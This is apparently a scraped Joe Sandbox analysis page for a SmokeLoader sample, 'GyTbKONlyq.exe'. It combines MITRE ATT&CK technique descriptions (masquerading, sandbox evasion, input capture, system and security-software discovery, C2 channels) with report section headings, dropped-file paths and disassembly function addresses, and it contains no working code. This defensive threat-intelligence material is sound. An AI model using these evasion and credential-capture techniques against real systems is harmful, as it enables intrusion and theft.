Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report GyTbKONlyq.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: SmokeLoader

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\3896.exe

C:\Users\user\AppData\Local\Temp\B7BD.exe

C:\Users\user\AppData\Local\Temp\D2B5.exe

C:\Users\user\AppData\Local\Temp\Ruifriwreh.dll

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\bc49718863ee53e026d805ec372039e9_d06ed635-68f6-4e9a-955c-4899f5f57b9a

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\c5d8393293ce2ba62f117b2c2d55bc3e_d06ed635-68f6-4e9a-955c-4899f5f57b9a

C:\Users\user\AppData\Roaming\gjsvvic

C:\Users\user\AppData\Roaming\gjsvvic:Zone.Identifier

C:\Users\user\pigalicapi.exe

Static File Info

General

File Icon

Windows Analysis Report
GyTbKONlyq.exe

Function 004014F2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 220
nativeCOMMON

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 205
nativeCOMMON

Function 0040152C Relevance: 10.7, APIs: 7, Instructions: 174
nativeCOMMON

Function 00401557 Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Function 0040151F Relevance: 10.7, APIs: 7, Instructions: 173
nativeCOMMON

Function 0040AB0D Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Function 0040AE0A Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Function 00401910 Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Function 004018F5 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre